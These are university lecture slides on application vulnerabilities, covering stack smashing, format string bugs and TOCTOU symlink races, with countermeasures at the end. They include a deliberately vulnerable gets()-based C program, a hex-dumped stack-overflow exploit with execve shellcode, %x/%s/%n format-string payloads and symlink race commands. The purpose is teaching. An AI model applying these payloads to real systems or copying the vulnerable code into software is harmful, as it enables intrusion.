SlideShare a Scribd company logo
1 of 68
Application
Vulnerabilities and
Attacks
COEN 351
Vulnerability and Exploits
 Software Defects:
 A software defect is the encoding of a human error into the
software, including omissions.
 Security Flaw:
 A security flaw is a software defect that poses a potential
security risk.
 Eliminating software defects eliminate security flaws.
 A vulnerability is a set of conditions that allows an
attacker to violate an explicit or implicit security policy.
 Not all security flaws lead to vulnerabilities.
 A security flaw can cause a program to be vulnerable to
attack.
 Vulnerabilities can also exist without a security flaw.
Vulnerabilities and Exploits
 Exploit:
Proof-of-concept exploits are developed to
prove the existence of a vulnerability.
Proof-of-concept exploits are beneficial when
properly managed.
Proof-of-concept exploit in the wrong hands
can be quickly transformed into a worm or
virus or used in an attack.
Pointer Subterfuge
 Pointer Subterfuge modify a pointer’s
value.
Function pointers are overwritten to transfer
control to an attacker supplied shellcode.
Data pointers can also be changed to modify
the program flow according to the attacker’s
wishes.
COEN 351 E-Commerce Security
 E-Commerce Security Course Homepage
 Lecture Notes
Pointer Subterfuge
 Using a buffer overflow:
 Buffer must be allocated in the
same segment as the target
pointer.
 Buffer must have a lower
memory address than the
target pointer.
 Buffer must be susceptible to a
buffer overflow exploit.
Buffer Overflow
 A buffer overflow occurs when data is written
outside of the boundaries of the memory
allocated to a particular data structure.
Source
Memory
Allocated Memory (8 Bytes)
11 Bytes of Data
Copy
Operation
Other Memory
Buffer Overflow
 Process Memory Organization
Code or Text: Instructions
and read only data
Data: Initialized data,
uninitialized data, static
variables, global variables
Heap: Dynamically
allocated variables
Stack: Local variables,
return addresses, etc.
Stack Smashing
 When calling a subroutine / function:
 Stack stores the return address
 Stack stores arguments, return values
 Stack stores variables local to the subroutine
 Information pushed on the stack for a subroutine
call is called a frame.
 Address of frame is stored in the frame or base point
register.
 epb on Intel architectures
Stack Smashing
#include <iostream>
bool IsPasswordOkay(void)
{
char Password[8];
gets(Password);
if (!strcmp(Password, “badprog"))
return(true);
else return(false);
}
void main()
{
bool PwStatus;
puts("Enter password:");
PwStatus = IsPasswordOkay();
if (PwStatus == false){
puts("Access denied");
exit(-1);
}
else puts("Access granted");
}
Stack Smashing
Storage for PwStatus (4 bytes)
Caller EBP – Frame Ptr OS (4
bytes)
Return Addr of main – OS (4
Bytes)
…
Program stack before call to IsPasswordOkay()
puts("Enter Password:");
PwStatus=ISPasswordOkay();
if (PwStatus==true)
puts("Hello, Master");
else puts("Access denied");
Stack
Stack Smashing
Storage for Password (8 Bytes)
Caller EBP – Frame Ptr main (4
bytes)
Return Addr Caller – main (4
Bytes)
Storage for PwStatus (4 bytes)
Caller EBP – Frame Ptr OS (4
bytes)
Return Addr of main – OS (4
Bytes)
…
Program stack during call to IsPasswordOkay()
puts("Enter Password:");
PwStatus=ISPasswordOkay();
if (PwStatus ==true)
puts("Hello, Master");
else puts("Access denied");
bool IsPasswordOkay(void)
{
char Password[8];
gets(Password);
if (!strcmp(Password,"badprog"))
return(true);
else return(false)
}
Stack
Stack Smashing
Program stack after call to IsPasswordOkay()
puts("Enter Password:");
PwStatus=ISPasswordOkay();
if (PwStatus ==true)
puts("Hello, Master");
else puts("Access denied");
Storage for Password (8 Bytes)
Caller EBP – Frame Ptr main (4
bytes)
Return Addr Caller – main (4
Bytes)
Storage for PwStatus (4 bytes)
Caller EBP – Frame Ptr OS (4
bytes)
Return Addr of main – OS (4
Bytes)
…
Stack
Stack Smashing
 What happens if we enter more than 7
characters of an input string?
#include <iostream>
bool IsPasswordOkay(void)
{
char Password[8];
gets(Password);
if (!strcmp(Password, “badprog"))
return(true);
else return(false);
}
void main()
{
bool PwStatus;
puts("Enter password:");
PwStatus = IsPasswordOkay();
if (PwStatus == false){
puts("Access denied");
exit(-1);
}
else puts("Access granted");
}
Stack Smashing
bool IsPasswordOkay(void)
{
char Password[8];
gets(Password);
if (!strcmp(Password,"badprog"))
return(true);
else return(false)
}
Storage for Password (8 Bytes)
“12345678”
Caller EBP – Frame Ptr main (4
bytes)
“9012”
Return Addr Caller – main (4
Bytes)
“3456”
Storage for PwStatus (4 bytes)
“7890”
Caller EBP – Frame Ptr OS (4
bytes)
“0”
Return Addr of main – OS (4
Bytes)
…
Stack
The return address and other data on the
stack is over written because the memory
space allocated for the password can only
hold a maximum 7 character plus the NULL
terminator.
Stack Smashing
 A specially crafted string
“abcdefghijklW►*!” produced the
following result:
Stack Smashing
The string “abcdefghijklW►*!”
overwrote 9 extra bytes of memory
on the stack changing the callers
return address thus skipping the
execution of line 3
Storage for Password (8 Bytes)
“abcdefgh”
Caller EBP – Frame Ptr main (4 bytes)
“ijkl”
Return Addr Caller – main (4 Bytes)
“W►*!” (return to line 4 was line 3)
Storage for PwStatus (4 bytes)
“/0”
Caller EBP – Frame Ptr OS (4 bytes)
Return Addr of main – OS (4 Bytes)
Stack
Line Statement
1 puts("Enter
Password:");
2 PwStatus=ISPasswordOkay
();
3 if (PwStatus ==true)
4 puts("Hello, Master");
5 else puts("Access
denied");
Stack Smashing
 A buffer overflow can be exploited by
Changing the return address in order to
change the program flow (arc-injection)
Change the return address to point into the
buffer where it contains some malicious code
(Code injection)
Stack Smashing
 The get password program can be exploited to
execute arbitrary code by providing the following
binary data file as input:
000 31 32 33 34 35 36 37 38-39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34-35 36 37 38 E0 F9 FF BF "789012345678a· +"
020 31 C0 A3 FF F9 FF BF B0-0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"
030 F9 FF BF 8B 15 FF F9 FF-BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"
040 31 31 31 2F 75 73 72 2F-62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “
 This exploit is specific to Red Hat Linux 9.0 and GCC
Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"
020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"
030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"
040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “
 The first 16 bytes of binary data fill the allocated
storage space for the password.
 NOTE: Even though the program only allocated 12
bytes for the password, the version of the gcc compiler
used allocates stack data in multiples of 16 bytes
Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"
020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"
030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"
040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “
 The next 12 bytes of binary data fill the extra
storage space that was created by the compiler to
keep the stack aligned on a16-byte boundary.
Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"
020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"
030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"
040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “
 The next 12 bytes of binary data fill the extra
storage space that was created by the compiler to
keep the stack aligned on a16-byte boundary.
Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"
020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"
030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"
040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “
 The next 4 bytes overwrite the return address.
 The new return address is 0X BF FF F9 E0 (little-
endian)
Stack Smashing
Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"
020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"
030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"
040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “
 The malicious code.
 Purpose of malicious code is to call execve with a user
provided set of parameters.
 In this program, instead of spawning a shell, we just call
the linux calculator program.
Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"
020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"
030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"
040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “
 The malicious code:
 xor %eax,%eax #set eax to zero
 mov %eax,0xbffff9ff #set to NULL word
Create a zero value and use it to NULL terminate
the argument list.
This is necessary to terminate the argument list.
Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"
020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"
030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"
040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “
 The malicious code:
 xor %eax,%eax #set eax to zero
 mov %eax,0xbffff9ff #set to NULL word
 mov $0xb,%al #set code for execve
Set the value of register al to 0xb. This value
indicates a system call to execve.
Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"
020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"
030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"
040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “
 The malicious code:
 mov $0xb,%al #set code for execve
 mov $0xbffffa03,%ebx #ptr to arg 1
 mov $0xbffff9fb,%ecx #ptr to arg 2
 mov 0xbffff9ff,%edx #ptr to arg 3
 This puts the pointers to the arguments into ebc, ecx, and
edx registers.
Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"
020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"
030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"
040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “
 The malicious code:
 mov $0xbffffa03,%ebx #ptr to arg 1
 mov $0xbffff9fb,%ecx #ptr to arg 2
 mov 0xbffff9ff,%edx #ptr to arg 3
 int $80 # make system call to execve
 Now make the system call to execve. The arguments are in
the registers.
Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"
020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"
030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"
040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “
The malicious code:
 Last part are the arguments.
Stack Smashing
 ./BufferOverflow < exploit.bin now
executes /usr/bin/cal0.
Stack Smashing Countermeasures
 Canaries
 Protect return addresses
 Random value is stored before return address.
 When returning, check whether canary has been
altered.
 Non-executable stacks
 Prevents shellcode injection
 Randomizing stack layout
 Introduce bogus empty blocks of memory on stack
 Attacker cannot predict stack layout
Data Pointers Example
void foo(void * arg, size_t len) {
char buff[100];
long val = …;
long *ptr = …;
memcpy(buff, arg, len);
*ptr = val;
…
return;
}
Buffer is vulnerable to
overflow.
Both val and ptr are located
after the buffer and can be
overwritten.
This allows a buffer
overflow to write an
arbitrary address in
memory.
Data Pointers
 Arbitrary memory writes can change the
control flow.
 This is easier if the length of a pointer is
equal to the length of important data
structures.
Intel 32 Architectures:
 sizeof(void*) = sizeof(int) = sizeof(long) = 4B.
Pointer Subterfuge
 Targets for memory overwrites:
Unix:
 GOT table
 .dtors
Windows
 Virtual function tables
 Exception handlers
 Details in Secure Programming Course
Format String Vulnerabilities
 printf and companions are variadic
functions.
Variable number of arguments.
Format string and addresses of arguments in
the format string are placed on the stack.
 Format string vulnerability:
User controls (partially) input to printf
Format String Vulnerabilities
 Example
1. int func(char *user) {
2. printf(user);
3. }
 If the user argument can be controlled by a user, this
program can be exploited to crash the program, view the
contents of the stack, view memory content, or overwrite
memory
Format String Vulnerability
 printf("%s%s%s%s%s%s%s%s%s%s%s%s");
 The %s conversion specifier displays memory at an
address specified in the corresponding argument on
the execution stack.
 Because no string arguments are supplied in this
example, printf() reads arbitrary memory
locations from the stack until the format string is
exhausted or an invalid pointer or unmapped address
is encountered.
Viewing Stack Content
 Attackers can also exploit formatted output functions to
examine the contents of memory.
 Disassembled printf() call
0x00000000
char format [32];
strcpy(format, "%08x.%08x.%08x.%08x");
printf(format, 1, 2, 3);
1. push 3
2. push 2
3. push 1
4. push offset format
5. call _printf
6. add esp,10h
Arguments are
pushed onto the stack
in reverse order.
the arguments in
memory appear in
the same order as in
the printf() call
Viewing the Contents of the Stack
0x00000000
e0f84201 2e25303801000000 02000000 03000000 25303878
% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
00000001.00000002.00000003.25303878
Format string:
Output:
Memory:
Initial argument pointer Final argument pointer
The address of the
format string
0xe0f84201 appears in
memory followed by the
argument values 1, 2,
and 3
Viewing the Contents of the Stack
0x00000000
e0f84201 2e25303801000000 02000000 03000000 25303878
% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
00000001.00000002.00000003.25303878
Format string:
Output:
Memory:
Initial argument pointer Final argument pointer
The memory
immediately following
the arguments contains
the automatic variables
for the calling function,
including the contents
of the format character
array 0x2e253038
Viewing the Contents of the Stack
0x00000000
e0f84201 2e25303801000000 02000000 03000000 25303878
% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
00000001.00000002.00000003.25303878
Format string:
Output:
Memory:
Initial argument pointer Final argument pointer
The format string %08x.
%08x.%08x.%08
instructs printf() to
retrieve four arguments
from the stack and
display them as eight-
digit padded
hexadecimal numbers
Viewing the Contents of the Stack
0x00000000
e0f84201 2e25303801000000 02000000 03000000 25303878
% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
00000001.00000002.00000003.25303878
Format string:
Output:
Memory:
Initial argument pointer Final argument pointer
As each argument is
used by the format
specification, the
argument pointer is
increased by the length
of the argument.
Viewing the Contents of the Stack
0x00000000
e0f84201 2e25303801000000 02000000 03000000 25303878
% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
00000001.00000002.00000003.25303878
Format string:
Output:
Memory:
Initial argument pointer Final argument pointer
Each %08x in the format
string reads a value it
interprets as an int from
the location identified by
the argument pointer.
Viewing the Contents of the Stack
0x00000000
e0f84201 2e25303801000000 02000000 03000000 25303878
% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
00000001.00000002.00000003.25303878
Format string:
Output:
Memory:
Initial argument pointer Final argument pointer
The values output by
each format string are
shown below the
format string.
Viewing the Contents of the Stack
0x00000000
e0f84201 2e25303801000000 02000000 03000000 25303878
% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
00000001.00000002.00000003.25303878
Format string:
Output:
Memory:
Initial argument pointer Final argument pointer
The fourth “integer”
contains the first four
bytes of the format
string—the ASCII
codes for %08x.
Viewing Memory at a Specific Location
0x00000000
dcf54201 25782578
Final argument pointer
e0f84201 01000000 02000000 03000000
xdc - written to stdout
xf5 - written to stdout
x42 - written to stdout
x01 - written to stdout
%x - advances argument pointer
%x - advances argument pointer
%x - advances argument pointer
%s - outputs string at address specified
Initial argument pointer
Memory:
in next argument
% x % x
address advance-argptr %s
xdcxf5x42x01%x%x%x%s
The series of three
%x conversion
specifiers advance
the argument
pointer twelve bytes
to the start of the
format string
Viewing Memory at a Specific Location
0x00000000
dcf54201 25782578
Final argument pointer
e0f84201 01000000 02000000 03000000
xdc -written to stdout
xf5 -written to stdout
x42 -written to stdout
x01 -written to stdout
%x - advances argument pointer
%x - advances argument pointer
%x - advances argument pointer
%s - outputs string at address specified
Initial argument pointer
Memory:
in next argument
% x % x
address advance-argptr %s
xdcxf5x42x01%x%x%x%s
The %s conversion
specifier displays
memory at the
address supplied at
the beginning of the
format string.
Viewing Memory Content
 printf() displays memory from 0x0142f5dc until a 0 byte
is reached.
 The entire address space can be mapped by advancing
the address between calls to printf().
 Viewing memory at an arbitrary address can help an
attacker develop other exploits, such as executing
arbitrary code on a compromised machine.
Format String Vulnerability
 Arbitrary memory can be written by using the %n
specifier in the format string.
int i;
printf("hello%nn", (int *)&i);
 The variable i is assigned the value 5 because five
characters (h-e-l-l-o) are written until the %n
conversion specifier is encountered.
 Using the %n conversion specifier, an attacker can
write a small integer value to an address.
Format String Vulnerability
printf("xdcxf5x42x01%08x.%08x.%08x%n”);
 Writes an integer value corresponding to the number of
characters output to the address 0x0142f5dc.
 The value written (28) is equal to the eight-character-
wide hex fields (times three) plus the four address
bytes.
 An attacker can overwrite the address with the address
of some shellcode.
Format String Vulnerability
printf ("%16u%n%16u%n%32u%n%64u
%n",
 The first %16u%n sequence writes the value 16 to
the specified address, but the second %16u%n
sequence writes 32 bytes because the counter has
not been reset.
Dynamic Memory Errors
 Errors change internal heap structures,
leading to overwriting an arbitrary memory
address with an arbitrary value
Double free.
 Exploited vulnerability in both Linux and Windows
TOCTOU Race Conditions
 Race window by checking for some race
object and later accessing it.
TOCTOU
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
FILE *fd;
if (access("/some_file", W_OK) == 0) {
printf("access granted.n");
fd = fopen("/some_file", "wb+");
/* write to the file */
fclose(fd);
}
. . .
return 0;
}
The access()
function is called
to check if the file
exists and has
write permission.
TOCTOU
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
FILE *fd;
if (access("/some_file", W_OK) == 0) {
printf("access granted.n");
fd = fopen("/some_file", "wb+");
/* write to the file */
fclose(fd);
}
. . .
return 0;
}
the file is opened
for writing
TOCTOU
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
FILE *fd;
if (access("/some_file", W_OK) == 0) {
printf("access granted.n");
fd = fopen("/some_file", "wb+");
/* write to the file */
fclose(fd);
}
. . .
return 0;
}
Race window
between
checking for
access and
opening file.
TOCTOU
 Vulnerability
 An external process can change or replace the
ownership of some_file.
 If this program is running with an effective user ID
(UID) of root, the replacement file is opened and
written to.
 If an attacker can replace some_file with a link during
the race window, this code can be exploited to write
to any file of the attacker’s choosing.
TOCTOU
 The program could be exploited by a user
executing the following shell commands during
the race window:
rm /some_file
ln /myfile /some_file
 The TOCTOU condition can be mitigated by
replacing the call to access() with logic that
drops privileges to the real UID, opens the file
with fopen(), and checks to ensure that the
file was opened successfully.
TOCTOU Exploits Symbolic Link
if (stat("/some_dir/some_file", &statbuf) == -1) {
err(1, "stat");
}
if (statbuf.st_size >= MAX_FILE_SIZE) {
err(2, "file size");
}
if ((fd=open("/some_dir/some_file", O_RDONLY)) == -1)
{
err(3, "open - /some_dir/some_file");
}
11. // process file
stats
/some_dir/some_file
and opens the file for
reading if it is not too
large.
TOCTOU Exploits Symbolic Link
if (stat("/some_dir/some_file", &statbuf) == -1) {
err(1, "stat");
}
if (statbuf.st_size >= MAX_FILE_SIZE) {
err(2, "file size");
}
if ((fd=open("/some_dir/some_file", O_RDONLY)) == -1)
{
err(3, "open - /some_dir/some_file");
}
11. // process file
The TOCTOU check
occurs with the call of
stat()
TOCTOU use is
the call to fopen()
TOCTOU Exploits Symbolic Link
 Attacker executes the following during the race
window :
 rm /some_dir/some_file
 ln -s attacker_file /some_dir/some_file
 The file passed as an argument to stat() is not
the same file that is opened.
 The attacker has hijacked
/some_dir/some_file by linking this name to
attacker_file.
TOCTOU Exploits Symbolic Link
 Symbolic links are used because
 Owner of link does not need any permissions for the
target file.
 The attacker only needs write permissions for the
directory in which the link is created.
 Symbolic links can reference a directory. The attacker
might replace /some_dir with a symbolic link to a
completely different directory
TOCTOU Exploits Symbolic Link
 Example: passwd() functions of SunOS and
HP/UX
 passwd() requires user to specify password file as
parameter
1. Open password file, authenticate user, close file.
2. Create and open temporary file ptmp in same directory.
3. Reopen password file and copy updated version into ptmp.
4. Close both files and rename ptmp as the new password
file.
TOCTOU Exploits Symbolic Link
1. Attacker creates bogus password file called .rhosts
2. Attacker places .rhosts into attack_dir
3. Real password file is in victim_dir
4. Attacker creates symbolic link to attack_dir, called
symdir.
5. Attacker calls passwd passing password file as
/symdir/.rhosts.
6. Attacker changes /symdir so that password in steps 1
and 3 refers to attack_dir and in steps 2 and 4 to
victim_dir.
7. Result: password file in victim_dir is replaced by
password file in attack_dir.
TOCTOU Exploits Symbolic Link
 Symlink attack can cause exploited
software to open, remove, read, or write
a hijacked file or directory.
 Other example: StarOffice
 Exploit substitutes a symbolic link for a file
whose permission StarOffice is about to
elevate.
 Result: File referred to gets permissions
updated.
Morale
 Existing code base is full of software errors.
 Changing to safer languages is going to alleviate the
problem.
 All application software is under suspicion.
 Fast patching protects against most attacks.
 But not zero-day exploits
 Patching can break applications, hence:
 Test on test servers before applying patches.
 Decrease attack surface by
 running as few applications as possible
 running services at lowest possible privilege level.
COEN 351 E-Commerce Security
 E-Commerce Security Course Homepage
 Lecture Notes

More Related Content

What's hot

Enjoyable Front-end Development with Reagent
Enjoyable Front-end Development with ReagentEnjoyable Front-end Development with Reagent
Enjoyable Front-end Development with ReagentThiago Fernandes Massa
 
The Ring programming language version 1.10 book - Part 89 of 212
The Ring programming language version 1.10 book - Part 89 of 212The Ring programming language version 1.10 book - Part 89 of 212
The Ring programming language version 1.10 book - Part 89 of 212Mahmoud Samir Fayed
 
As400 load all subfile
As400   load all subfileAs400   load all subfile
As400 load all subfileaminem_mp
 
Maximizing SQL Reviews and Tuning with pt-query-digest
Maximizing SQL Reviews and Tuning with pt-query-digestMaximizing SQL Reviews and Tuning with pt-query-digest
Maximizing SQL Reviews and Tuning with pt-query-digestPythian
 
Numerical Methods with Computer Programming
Numerical Methods with Computer ProgrammingNumerical Methods with Computer Programming
Numerical Methods with Computer ProgrammingUtsav Patel
 
TDOH x 台科 pwn課程
TDOH x 台科 pwn課程TDOH x 台科 pwn課程
TDOH x 台科 pwn課程Weber Tsai
 
merged_document_3
merged_document_3merged_document_3
merged_document_3tori hoff
 
Scale17x buffer overflows
Scale17x buffer overflowsScale17x buffer overflows
Scale17x buffer overflowsjohseg
 
Аварийный дамп – чёрный ящик упавшей JVM. Андрей Паньгин
Аварийный дамп – чёрный ящик упавшей JVM. Андрей ПаньгинАварийный дамп – чёрный ящик упавшей JVM. Андрей Паньгин
Аварийный дамп – чёрный ящик упавшей JVM. Андрей Паньгинodnoklassniki.ru
 
Java, Up to Date Sources
Java, Up to Date SourcesJava, Up to Date Sources
Java, Up to Date Sources輝 子安
 
DEP/ASLR bypass without ROP/JIT
DEP/ASLR bypass without ROP/JITDEP/ASLR bypass without ROP/JIT
DEP/ASLR bypass without ROP/JITArtem I. Baranov
 
BERserk: New RSA Signature Forgery Attack
BERserk: New RSA Signature Forgery AttackBERserk: New RSA Signature Forgery Attack
BERserk: New RSA Signature Forgery AttackAlex Matrosov
 
The Ring programming language version 1.3 book - Part 59 of 88
The Ring programming language version 1.3 book - Part 59 of 88The Ring programming language version 1.3 book - Part 59 of 88
The Ring programming language version 1.3 book - Part 59 of 88Mahmoud Samir Fayed
 
various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)
various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)
various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)CODE BLUE
 

What's hot (20)

実践 memcached
実践 memcached実践 memcached
実践 memcached
 
Enjoyable Front-end Development with Reagent
Enjoyable Front-end Development with ReagentEnjoyable Front-end Development with Reagent
Enjoyable Front-end Development with Reagent
 
KILL MD5
KILL MD5KILL MD5
KILL MD5
 
The Ring programming language version 1.10 book - Part 89 of 212
The Ring programming language version 1.10 book - Part 89 of 212The Ring programming language version 1.10 book - Part 89 of 212
The Ring programming language version 1.10 book - Part 89 of 212
 
As400 load all subfile
As400   load all subfileAs400   load all subfile
As400 load all subfile
 
Maximizing SQL Reviews and Tuning with pt-query-digest
Maximizing SQL Reviews and Tuning with pt-query-digestMaximizing SQL Reviews and Tuning with pt-query-digest
Maximizing SQL Reviews and Tuning with pt-query-digest
 
Ch4
Ch4Ch4
Ch4
 
Numerical Methods with Computer Programming
Numerical Methods with Computer ProgrammingNumerical Methods with Computer Programming
Numerical Methods with Computer Programming
 
TDOH x 台科 pwn課程
TDOH x 台科 pwn課程TDOH x 台科 pwn課程
TDOH x 台科 pwn課程
 
merged_document_3
merged_document_3merged_document_3
merged_document_3
 
Workflow && t1k
Workflow && t1kWorkflow && t1k
Workflow && t1k
 
Scale17x buffer overflows
Scale17x buffer overflowsScale17x buffer overflows
Scale17x buffer overflows
 
Debugging TV Frame 0x02
Debugging TV Frame 0x02Debugging TV Frame 0x02
Debugging TV Frame 0x02
 
Аварийный дамп – чёрный ящик упавшей JVM. Андрей Паньгин
Аварийный дамп – чёрный ящик упавшей JVM. Андрей ПаньгинАварийный дамп – чёрный ящик упавшей JVM. Андрей Паньгин
Аварийный дамп – чёрный ящик упавшей JVM. Андрей Паньгин
 
Java, Up to Date Sources
Java, Up to Date SourcesJava, Up to Date Sources
Java, Up to Date Sources
 
Interfaz Grafica En Java
Interfaz Grafica En JavaInterfaz Grafica En Java
Interfaz Grafica En Java
 
DEP/ASLR bypass without ROP/JIT
DEP/ASLR bypass without ROP/JITDEP/ASLR bypass without ROP/JIT
DEP/ASLR bypass without ROP/JIT
 
BERserk: New RSA Signature Forgery Attack
BERserk: New RSA Signature Forgery AttackBERserk: New RSA Signature Forgery Attack
BERserk: New RSA Signature Forgery Attack
 
The Ring programming language version 1.3 book - Part 59 of 88
The Ring programming language version 1.3 book - Part 59 of 88The Ring programming language version 1.3 book - Part 59 of 88
The Ring programming language version 1.3 book - Part 59 of 88
 
various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)
various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)
various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)
 

Viewers also liked

2 buffer overflows
2 buffer overflows2 buffer overflows
2 buffer overflowsKarthic Rao
 
Understanding the lock manager internals with the fb lock print utility
Understanding the lock manager internals with the fb lock print utilityUnderstanding the lock manager internals with the fb lock print utility
Understanding the lock manager internals with the fb lock print utilityMind The Firebird
 
Lecture 12 exceptions
Lecture 12  exceptionsLecture 12  exceptions
Lecture 12 exceptionsalvin567
 
Exploiting Memory Overflows
Exploiting Memory OverflowsExploiting Memory Overflows
Exploiting Memory OverflowsAnkur Tyagi
 
Evaluation of Web Application Vulnerability Scanners
Evaluation of  Web Application Vulnerability ScannersEvaluation of  Web Application Vulnerability Scanners
Evaluation of Web Application Vulnerability Scannersyuliana_mar
 
Stopping zero day threats
Stopping zero day threatsStopping zero day threats
Stopping zero day threatsZscaler
 
Sophos Day Belgium - This is Next-Gen IT Security (Sophos Intercept X)
Sophos Day Belgium - This is Next-Gen IT Security (Sophos Intercept X)Sophos Day Belgium - This is Next-Gen IT Security (Sophos Intercept X)
Sophos Day Belgium - This is Next-Gen IT Security (Sophos Intercept X)Sophos Benelux
 
Security Threats to Electronic Commerce
Security Threats to Electronic CommerceSecurity Threats to Electronic Commerce
Security Threats to Electronic CommerceDarlene Enderez
 
6. Security Threats with E-Commerce
6. Security Threats with E-Commerce6. Security Threats with E-Commerce
6. Security Threats with E-CommerceJitendra Tomar
 
Security Information and Event Management (SIEM)
Security Information and Event Management (SIEM)Security Information and Event Management (SIEM)
Security Information and Event Management (SIEM)k33a
 
Network Security Threats and Solutions
Network Security Threats and SolutionsNetwork Security Threats and Solutions
Network Security Threats and SolutionsColin058
 

Viewers also liked (16)

2 buffer overflows
2 buffer overflows2 buffer overflows
2 buffer overflows
 
Understanding the lock manager internals with the fb lock print utility
Understanding the lock manager internals with the fb lock print utilityUnderstanding the lock manager internals with the fb lock print utility
Understanding the lock manager internals with the fb lock print utility
 
Os Goodger
Os GoodgerOs Goodger
Os Goodger
 
Lecture 12 exceptions
